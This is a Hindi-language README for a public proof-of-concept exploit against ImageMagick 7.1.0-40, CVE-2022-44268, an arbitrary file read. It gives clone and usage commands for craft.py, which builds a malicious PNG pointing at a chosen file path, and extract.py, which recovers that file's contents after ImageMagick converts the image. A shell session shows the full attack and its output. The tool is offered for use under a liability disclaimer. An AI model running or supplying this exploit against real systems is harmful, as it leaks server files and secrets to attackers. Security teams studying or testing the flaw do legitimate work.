CVE-2022-44268

इसकी खोज करने वाले शोधकर्ताओं को श्रेय:

• Bryan Gonzalez and the Ocelot Team

एक दुर्भावनापूर्ण PNG बनाएं ImageMagick 7.1.0-40 का लाभ उठाने के लिए:

• CVE-2022-44267: सेवा अस्वीकार
• CVE-2022-44268: सूचना प्रकटीकरण

अस्वीकरण: इस परियोजना के लेखक इस परियोजना की सामग्री से होने वाले किसी भी संभावित नुकसान के लिए जिम्मेदार नहीं हैं।

आवश्यकताएँ

• Python3
• PIL (pip install Pillow)

उपयोग

craft.py के साथ PNG तैयार करना:

git clone https://github.com/agathanon/cve-2022-44268
cd cve-2022-44268
python3 craft.py original.png lol.png /path/to/file

extract.py के साथ डेटा निष्कर्षण:

python3 extract.py exfil.png

PoC

anon@computer:~/code/cve-2022-44268$ python3 craft.py original.png readflag.png $PWD/flag.txt 
anon@computer:~/code/cve-2022-44268$ convert readflag.png -resize 100x100 exfil.png
anon@computer:~/code/cve-2022-44268$ python3 extract.py exfil.png
AAAABBBBCCCC

anon@computer:~/code/cve-2022-44268$